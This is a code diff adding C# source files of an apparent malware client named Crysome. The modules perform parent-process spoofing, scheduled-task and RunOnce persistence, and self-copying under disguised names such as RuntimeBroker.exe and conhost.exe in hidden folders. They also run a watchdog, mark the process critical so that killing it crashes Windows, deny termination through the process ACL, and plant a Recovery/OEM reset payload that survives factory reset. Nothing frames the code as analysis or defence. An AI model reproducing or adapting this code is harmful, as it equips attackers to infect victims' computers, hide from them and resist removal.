|
||||
{
|
||||
}
|
||||
if (num >= json.Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (json[num] == '"')
|
||||
{
|
||||
num++;
|
||||
int i = num;
|
||||
bool flag = false;
|
||||
for (; i < json.Length; i++)
|
||||
{
|
||||
if (json[i] == '\\')
|
||||
{
|
||||
flag = !flag;
|
||||
continue;
|
||||
}
|
||||
if (json[i] == '"' && !flag)
|
||||
{
|
||||
break;
|
||||
}
|
||||
flag = false;
|
||||
}
|
||||
return json.Substring(num, i - num);
|
||||
}
|
||||
int j;
|
||||
for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++)
|
||||
{
|
||||
}
|
||||
return json.Substring(num, j - num);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,269 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class ParentSpoof
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO StartupInfo;
|
||||
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public string lpReserved;
|
||||
|
||||
public string lpDesktop;
|
||||
|
||||
public string lpTitle;
|
||||
|
||||
public int dwX;
|
||||
|
||||
public int dwY;
|
||||
|
||||
public int dwXSize;
|
||||
|
||||
public int dwYSize;
|
||||
|
||||
public int dwXCountChars;
|
||||
|
||||
public int dwYCountChars;
|
||||
|
||||
public int dwFillAttribute;
|
||||
|
||||
public int dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public int dwProcessId;
|
||||
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
private struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
private struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public int PrivilegeCount;
|
||||
|
||||
public LUID Luid;
|
||||
|
||||
public int Attributes;
|
||||
}
|
||||
|
||||
private const uint EXTENDED_STARTUPINFO_PRESENT = 524288u;
|
||||
|
||||
private const uint CREATE_NO_WINDOW = 134217728u;
|
||||
|
||||
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 131072;
|
||||
|
||||
private const uint PROCESS_CREATE_PROCESS = 128u;
|
||||
|
||||
private const int SE_PRIVILEGE_ENABLED = 2;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr GetCurrentProcess();
|
||||
|
||||
private static void EnableDebugPrivilege()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
|
||||
{
|
||||
TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
|
||||
NewState.PrivilegeCount = 1;
|
||||
NewState.Attributes = 2;
|
||||
if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
|
||||
{
|
||||
AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
CloseHandle(TokenHandle);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static bool TrySpawnUnderParent(string parentName, string exePath, string args)
|
||||
{
|
||||
if (string.IsNullOrEmpty(parentName) || string.IsNullOrEmpty(exePath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
EnableDebugPrivilege();
|
||||
int num = FindProcessIdByName(parentName);
|
||||
if (num <= 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr intPtr = OpenProcess(128u, bInheritHandle: false, num);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
IntPtr lpSize = IntPtr.Zero;
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
||||
if (lpSize == IntPtr.Zero || lpSize.ToInt32() <= 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr intPtr2 = Marshal.AllocHGlobal(lpSize);
|
||||
try
|
||||
{
|
||||
if (!InitializeProcThreadAttributeList(intPtr2, 1, 0, ref lpSize))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
IntPtr intPtr3 = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
try
|
||||
{
|
||||
Marshal.WriteIntPtr(intPtr3, intPtr);
|
||||
if (!UpdateProcThreadAttribute(intPtr2, 0u, (IntPtr)131072, intPtr3, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(intPtr3);
|
||||
}
|
||||
STARTUPINFOEX lpStartupInfo = new STARTUPINFOEX
|
||||
{
|
||||
StartupInfo = new STARTUPINFO
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(STARTUPINFOEX)),
|
||||
dwFlags = 1,
|
||||
wShowWindow = 0
|
||||
},
|
||||
lpAttributeList = intPtr2
|
||||
};
|
||||
string text = "\"" + exePath + "\"";
|
||||
if (!string.IsNullOrEmpty(args))
|
||||
{
|
||||
text = text + " " + args;
|
||||
}
|
||||
if (CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 134742016u, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
|
||||
{
|
||||
CloseHandle(lpProcessInformation.hProcess);
|
||||
CloseHandle(lpProcessInformation.hThread);
|
||||
return true;
|
||||
}
|
||||
Program.Log("ParentSpoof: CreateProcess failed. Err=" + Marshal.GetLastWin32Error());
|
||||
}
|
||||
finally
|
||||
{
|
||||
DeleteProcThreadAttributeList(intPtr2);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(intPtr2);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(intPtr);
|
||||
}
|
||||
Program.Log("ParentSpoof: Failed to spawn under " + parentName);
|
||||
return false;
|
||||
}
|
||||
|
||||
private static int FindProcessIdByName(string name)
|
||||
{
|
||||
string text = name.ToLowerInvariant();
|
||||
if (!text.EndsWith(".exe"))
|
||||
{
|
||||
text += ".exe";
|
||||
}
|
||||
try
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
foreach (Process process in processes)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ((process.ProcessName + ".exe").Equals(text, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
int id = process.Id;
|
||||
process.Dispose();
|
||||
return id;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
process.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class Persistence
|
||||
{
|
||||
public static void Install()
|
||||
{
|
||||
if (!ClientConfiguration.Persistence)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string processPath = ClientConfiguration.GetProcessPath();
|
||||
if (!string.IsNullOrEmpty(processPath))
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "schtasks.exe",
|
||||
Arguments = "/create /tn \"CrysomeLoader\" /tr \"" + processPath + "\" /sc minute /mo 5 /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
})?.WaitForExit(10000);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,444 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class SelfProtect
|
||||
{
|
||||
private static FileStream _fileLock;
|
||||
|
||||
private static Thread _watchThread;
|
||||
|
||||
private static volatile int _watcherPid = -1;
|
||||
|
||||
private static string _primaryExeName = "RuntimeBroker.exe";
|
||||
|
||||
private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows");
|
||||
|
||||
private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR");
|
||||
|
||||
internal static string PrimaryExe
|
||||
{
|
||||
get
|
||||
{
|
||||
return Path.Combine(PrimaryDir, _primaryExeName);
|
||||
}
|
||||
set
|
||||
{
|
||||
_primaryExeName = Path.GetFileName(value);
|
||||
}
|
||||
}
|
||||
|
||||
internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe");
|
||||
|
||||
public static void RunAsWatcher(int mainPid)
|
||||
{
|
||||
try
|
||||
{
|
||||
LockOwnFile();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
HidePath(GetCurrentExe());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(2500);
|
||||
bool flag = false;
|
||||
try
|
||||
{
|
||||
flag = !Process.GetProcessById(mainPid).HasExited;
|
||||
}
|
||||
catch
|
||||
{
|
||||
flag = false;
|
||||
}
|
||||
if (!flag)
|
||||
{
|
||||
Thread.Sleep(800);
|
||||
try
|
||||
{
|
||||
RestartFromBestCopy();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
EnsureBackups();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static bool NeedsRelocation()
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string currentExe = GetCurrentExe();
|
||||
if (string.IsNullOrEmpty(currentExe))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool RelocateAndRelaunch(string[] currentArgs)
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
string currentExe = GetCurrentExe();
|
||||
if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
byte[] bytes = File.ReadAllBytes(currentExe);
|
||||
try
|
||||
{
|
||||
Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe));
|
||||
foreach (Process process in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
Directory.CreateDirectory(PrimaryDir);
|
||||
string primaryExe = PrimaryExe;
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(primaryExe, bytes);
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe");
|
||||
primaryExe = PrimaryExe;
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(primaryExe, bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
HidePath(primaryExe);
|
||||
Directory.CreateDirectory(BackupDir);
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(BackupExe, bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
HidePath(BackupExe);
|
||||
string text = "";
|
||||
if (currentArgs != null)
|
||||
{
|
||||
foreach (string text2 in currentArgs)
|
||||
{
|
||||
if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
text = text + " " + text2;
|
||||
}
|
||||
}
|
||||
}
|
||||
Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim())
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("SelfProtect relocate: " + ex2.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static void Start()
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg");
|
||||
_watchThread = new Thread(MonitorWatcher)
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
_watchThread.Start();
|
||||
return;
|
||||
}
|
||||
LockOwnFile();
|
||||
HidePath(GetCurrentExe());
|
||||
EnsureBackups();
|
||||
AddStartupRegistry();
|
||||
SpawnWatcher();
|
||||
_watchThread = new Thread(MonitorWatcher)
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
_watchThread.Start();
|
||||
Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)");
|
||||
}
|
||||
|
||||
private static void LockOwnFile()
|
||||
{
|
||||
try
|
||||
{
|
||||
string currentExe = GetCurrentExe();
|
||||
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null)
|
||||
{
|
||||
_fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void HidePath(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
if (File.Exists(path))
|
||||
{
|
||||
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
string directoryName = Path.GetDirectoryName(path);
|
||||
if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName))
|
||||
{
|
||||
new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void EnsureBackups()
|
||||
{
|
||||
string currentExe = GetCurrentExe();
|
||||
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe))
|
||||
{
|
||||
CopyIfMissing(currentExe, PrimaryDir, PrimaryExe);
|
||||
CopyIfMissing(currentExe, BackupDir, BackupExe);
|
||||
}
|
||||
}
|
||||
|
||||
private static void CopyIfMissing(string source, string dir, string dest)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!File.Exists(dest))
|
||||
{
|
||||
Directory.CreateDirectory(dir);
|
||||
File.Copy(source, dest, overwrite: true);
|
||||
HidePath(dest);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void AddStartupRegistry()
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe());
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true);
|
||||
registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void SpawnWatcher()
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe);
|
||||
if (File.Exists(text))
|
||||
{
|
||||
Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id)
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
if (process != null)
|
||||
{
|
||||
_watcherPid = process.Id;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void MonitorWatcher()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetCriticalProcess();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
ProtectProcess();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(3000);
|
||||
if (_watcherPid <= 0)
|
||||
{
|
||||
SpawnWatcher();
|
||||
continue;
|
||||
}
|
||||
bool flag = false;
|
||||
try
|
||||
{
|
||||
flag = !Process.GetProcessById(_watcherPid).HasExited;
|
||||
}
|
||||
catch
|
||||
{
|
||||
flag = false;
|
||||
}
|
||||
if (!flag)
|
||||
{
|
||||
_watcherPid = -1;
|
||||
SpawnWatcher();
|
||||
}
|
||||
try
|
||||
{
|
||||
EnsureBackups();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb);
|
||||
|
||||
private static void SetCriticalProcess()
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.EnterDebugMode();
|
||||
bool pbOld = false;
|
||||
RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false);
|
||||
Program.Log("SelfProtect: Critical process set (BSOD on kill)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("SelfProtect: Failed to set critical process: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
|
||||
|
||||
private static void ProtectProcess()
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr handle = Process.GetCurrentProcess().Handle;
|
||||
IntPtr SecurityDescriptor = IntPtr.Zero;
|
||||
uint SecurityDescriptorSize = 0u;
|
||||
if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize))
|
||||
{
|
||||
SetKernelObjectSecurity(handle, 4, SecurityDescriptor);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void RestartFromBestCopy()
|
||||
{
|
||||
string text = null;
|
||||
if (File.Exists(PrimaryExe))
|
||||
{
|
||||
text = PrimaryExe;
|
||||
}
|
||||
else if (File.Exists(BackupExe))
|
||||
{
|
||||
text = BackupExe;
|
||||
}
|
||||
if (text != null)
|
||||
{
|
||||
Process.Start(new ProcessStartInfo(text)
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetCurrentExe()
|
||||
{
|
||||
return ClientConfiguration.GetProcessPath();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Xml.Linq;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class Survival
|
||||
{
|
||||
private static readonly Random _rnd = new Random();
|
||||
|
||||
private static string SystemDrive => Path.GetPathRoot(Environment.SystemDirectory);
|
||||
|
||||
private static string OEMPath => Path.Combine(SystemDrive, "Recovery", "OEM");
|
||||
|
||||
private static string BackupPath => Path.Combine(OEMPath, "CrysomeBackup");
|
||||
|
||||
private static string ResetConfigPath => Path.Combine(OEMPath, "ResetConfig.xml");
|
||||
|
||||
private static string RandomString(int len)
|
||||
{
|
||||
return new string((from _ in Enumerable.Range(0, len)
|
||||
select "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
|
||||
}
|
||||
|
||||
private static string EscapePayload(string cmd)
|
||||
{
|
||||
return cmd.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&")
|
||||
.Replace("|", "^|")
|
||||
.Replace("<", "^<")
|
||||
.Replace(">", "^>")
|
||||
.Replace("\"", "\"\"");
|
||||
}
|
||||
|
||||
private static string CreatePayload(string command)
|
||||
{
|
||||
string text = RandomString(20);
|
||||
string text2 = EscapePayload(command);
|
||||
return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%%A\r\n\r\nreg load HKLM\\" + text + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + text + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + text + " /t REG_SZ /d \"" + text2 + "\"\r\n\r\nreg unload HKLM\\" + text + "\r\n\r\n\r\n";
|
||||
}
|
||||
|
||||
public static void Install()
|
||||
{
|
||||
if (!ClientConfiguration.IsFeatureEnabled("survival"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
InstallService();
|
||||
InstallResetSurvival();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Survival error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void InstallResetSurvival()
|
||||
{
|
||||
try
|
||||
{
|
||||
string processPath = ClientConfiguration.GetProcessPath();
|
||||
if (!string.IsNullOrEmpty(processPath) && File.Exists(processPath) && CreateEnvironment())
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(processPath);
|
||||
string text = RandomString(12) + ".exe";
|
||||
string text2 = Path.Combine(OEMPath, text);
|
||||
File.WriteAllBytes(text2, bytes);
|
||||
Program.Log("Survival: Reset stub written " + text);
|
||||
CreatePayload("cmd /c " + text2);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void InstallService()
|
||||
{
|
||||
try
|
||||
{
|
||||
string processPath = ClientConfiguration.GetProcessPath();
|
||||
string text = "WindowsHealthMonitor";
|
||||
string text2 = "Windows System Health Monitor";
|
||||
string text3 = "Monitors system health and performance diagnostics.";
|
||||
if (ServiceExists(text))
|
||||
{
|
||||
Program.Log("Survival: Service already exists.");
|
||||
return;
|
||||
}
|
||||
RunSc("create \"" + text + "\" binPath= \"" + processPath + "\" start= auto DisplayName= \"" + text2 + "\"");
|
||||
RunSc("description \"" + text + "\" \"" + text3 + "\"");
|
||||
RunSc("failure \"" + text + "\" reset= 0 actions= restart/60000/restart/60000/restart/60000");
|
||||
RunSc("start \"" + text + "\"");
|
||||
Program.Log("Survival: Service installed (" + text + ")");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Survival: Service install failed - " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool ServiceExists(string serviceName)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process process = Process.Start(new ProcessStartInfo("sc", "query \"" + serviceName + "\"")
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
RedirectStandardOutput = true
|
||||
});
|
||||
string text = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
return !text.Contains("1060");
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void RunSc(string args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.Start(new ProcessStartInfo("sc", args)
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
}).WaitForExit();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static bool CreateEnvironment()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(OEMPath))
|
||||
{
|
||||
Directory.CreateDirectory(OEMPath);
|
||||
}
|
||||
if (Directory.Exists(BackupPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
Directory.CreateDirectory(BackupPath);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool BackupConfig(string basicBat, string factoryBat, string stubName)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.WriteAllLines(Path.Combine(BackupPath, "DELETEME"), new string[3] { basicBat, factoryBat, stubName });
|
||||
if (File.Exists(ResetConfigPath))
|
||||
{
|
||||
File.Copy(ResetConfigPath, Path.Combine(BackupPath, "configBackup"), overwrite: true);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void SaveScript(string fileName, string payload, string extra = null)
|
||||
{
|
||||
string text = payload;
|
||||
if (!string.IsNullOrEmpty(extra))
|
||||
{
|
||||
text += extra;
|
||||
}
|
||||
File.WriteAllText(Path.Combine(OEMPath, fileName), text);
|
||||
}
|
||||
|
||||
private static void CreateOrUpdateResetConfig(string basicBat, string factoryBat, string payload)
|
||||
{
|
||||
if (!File.Exists(ResetConfigPath))
|
||||
{
|
||||
CreateNewConfig(basicBat, factoryBat, payload);
|
||||
}
|
||||
else
|
||||
{
|
||||
UpdateExistingConfig(basicBat, factoryBat, payload);
|
||||
}
|
||||
}
|
||||
|
||||
private static XElement CreateRunElem(string phase, string path, int duration)
|
||||
{
|
||||
return new XElement("Run", new XAttribute("Phase", phase), new XElement("Path", path), new XElement("Duration", duration));
|
||||
}
|
||||
|
||||
private static void CreateNewConfig(string basicBat, string factoryBat, string payload)
|
||||
{
|
||||
new XDocument(new XDeclaration("1.0", "utf-8", null), new XElement("Reset", CreateRunElem("BasicReset_AfterImageApply", basicBat, 1), CreateRunElem("FactoryReset_AfterImageApply", factoryBat, 1))).Save(ResetConfigPath);
|
||||
SaveScript(basicBat, payload);
|
||||
SaveScript(factoryBat, payload);
|
||||
}
|
||||
|
